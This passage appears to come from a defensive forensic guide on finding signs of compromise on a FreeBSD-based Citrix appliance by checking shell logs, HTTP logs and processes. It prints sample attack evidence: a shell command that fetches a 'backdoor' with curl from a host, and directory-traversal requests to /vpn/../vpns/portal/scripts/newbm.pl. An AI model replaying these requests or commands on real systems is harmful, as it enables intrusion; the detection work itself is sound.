Note: FreeBSD will use gzip compression for many of these logs after they reach a specific size. Therefore, on active systems, you may have to examine the archived .gz versions of the log files as well.

bash.log: This file contains information on commands run through the Bash interpreter, /usr/bin/bash. TrustedSec has found that this file will still contain command executions even if the HISTFILE environment variable has been unset (a common anti-forensics technique).

Search for any suspicious executables such as curl, hostname, uname, or whoami, or commands run by user nobody.

Jan 10 13:35:47
<local7.notice> ns bash[63394]: nobody on /dev/pts/3
shell_command="hostname"

The number within the brackets (63394 in the example above) is the process ID of the process that executed it. Make sure to search for that in order to find additional information on what was executed.

Additionally, TrustedSec has also seen commands executed with the phrase ‘(null) on’ where the username should be. This should also be searched for to find suspicious activity.

root@ns# ps auxd | grep nobody
 nobody    61092  0.0  0.3 111528  4844  ??  I    12:00PM   0:00.17 | |-- /bin/httpd
 nobody    63390  0.0  0.0  8320    16  ??  I     1:35PM   0:00.00 | | `-- sh -c uname & curl -o - http://10.1.1.2/backdoor
 nobody    63393  0.0  0.2 33204  3240  ??  I     1:35PM   0:00.04 | |   `-- python (python2.6)
 nobody    63394  0.0  0.1  8264  1544   3  Is+   1:35PM   0:00.00 | |     `-- bash
 nobody    64120  0.0  1.2 110496 19708  ??  S     2:00PM   0:00.15 | |-- /bin/httpd
 nobody    64121  0.0  0.0 105352     0  ??  IW   -         0:00.00 | |-- /bin/httpd
 nobody    64122  0.0  0.0 105352     0  ??  IW   -         0:00.00 | |-- /bin/httpd
 nobody    64123  0.0  0.0 105352     0  ??  IW   -         0:00.00 | |-- /bin/httpd
 nobody    64124  0.0  0.0 105352     0  ??  IW   -         0:00.00 | `-- /bin/httpd

Note: The file sh.log contains logs executed from the Bourne shell located at /bin/sh. This may also include useful data.

Notice.log: The notice.log file contains all Notice severity level messages from the system. Many commands, such as the Bash commands in bash.log, are logged with the Notice severity level, which will also be in this location.

Search for any suspicious executables such as curl, hostname, uname, or whoami, or commands run by user nobody.

httpaccess.log, httperror.log: These two files contain HTTP log messages from the Citrix server. Since the attack occurs over the web interface, these files will contain the IP addresses of the attacking systems.

Look for any HTTP log messages that contain directory traversal attacks with /vpn. Note that seeing a POST followed by a GET to an XML file is a great indicator for a successful attack. We have also seen successful executions with a direct request logged to /vpns  without the xml specified.

10.1.1.1 - - [10/Jan/2020:13:23:51 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143 "https://10.1.1.2/" "USERAGENT " 10.1.1.1 - - [10/Jan/2020:13:23:53 +0000] "GET /vpn/../vpns/portal/backdoor.xml HTTP/1.1" 200 941 "-" "USERAGENT"    10.1.1.1 - - [10/Jan/2020:16:12:31 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143 "https://10.1.1.2/" "USERAGENT"

File Locations

There are a few locations in which backdoors may initially be placed on the system after it is exploited. Search the following directories for unusual files:

• •  /netscaler/portal/templates
• •  /var/tmp/netscaler/portal/templates

Running Processes

Since the web server runs as user nobody, any initial commands (before escalation) will also run as user nobody. Therefore, you can search running processes for those owned by user nobody. From our analysis so far, few things outside of /bin/httpd should be running. Any processes running as a child of httpd, as shown below, should be investigated as suspicious .

nobody    61092  0.0  0.3 111528  4844  ??  I    12:00PM   0:00.17 | |– /bin/httpd

nobody    63390  0.0  0.0  8320    16  ??  I     1:35PM   0:00.00 | | `– sh -c uname & curl -o – http://10.1.1.2/backdoor

nobody    63393  0.0  0.2 33204  3240  ??  I     1:35PM   0:00.04 | |   `– python (python2.6)

nobody    63394  0.0  0.1  8264  1544   3  Is+   1:35PM   0:00.00 | |     `– bash

nobody    64120  0.0  1.2 110496 19708  ??  S     2:00PM   0:00.15 | |– /bin/httpd

nobody    64121  0.0  0.0 105352     0  ??  IW   –         0:00.00 | |– /bin/httpd

nobody    64122  0.0  0.0 105352     0  ??  IW   –         0:00.00 | |– /bin/httpd

nobody    64123  0.0  0.0 105352     0  ??  IW   –         0:00.00 | |– /bin/httpd

nobody    64124  0.0  0.0 105352     0  ??  IW   –         0:00.00 | `– /bin/httpd

Since FreeBSD uses a procfs virtual file system that contains information on processes, investigators can go into /proc/<PID> and possibly obtain additional information on running processes.

Additionally, running the lsof program (lsof -p <PID>) on the process ID of suspicious programs may also give information and clues.